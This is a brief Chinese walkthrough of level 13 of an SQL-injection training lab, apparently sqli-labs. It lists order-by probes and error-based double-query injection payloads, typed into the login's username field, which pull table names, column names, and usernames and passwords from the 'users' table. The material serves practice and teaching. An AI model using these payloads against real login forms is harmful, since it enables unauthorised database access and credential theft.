还记得第 5 关跟第 6 关的双查询注入吗？（其实本质就是盲注），有了 5 6 关卡的基础，再来玩 13 关就很轻松了…
不过这里倒是有小小的疑惑…就是 hackbar 在这关没有效果，必须得在方框内输入才可以…payload 我拿到 5 6 关卡试过了都是有效的…这就很奇怪了，连最简单的 order by 都不返回任何报错信息…这关就食用原生态方式吧
password 可以随便输入，这里只构造 username 的：
admin') order by 3# 报错admin') order by 2# 正常-admin') union select 1,2#
-admin') union select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rand()*2))a from information_schema.tables group by a#
-admin') union select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 1,1),floor(rand()*2))a from information_schema.tables group by a#
…
-admin') union select count(*),concat((select column_name from information_schema.columns where table_schema=database() and table_name = 'users' limit 0,1),floor(rand()*2))a from information_schema.tables group by a#
-admin') union select count(*),concat((select column_name from information_schema.columns where table_schema=database() and table_name = 'users' limit 1,1),floor(rand()*2))a from information_schema.tables group by a#
…
-admin') union select count(*),concat((select username from users limit 0,1),floor(rand()*2))a from information_schema.tables group by a#
-admin') union select count(*),concat((select password from users limit 0,1),floor(rand()*2))a from information_schema.tables group by a#
…
????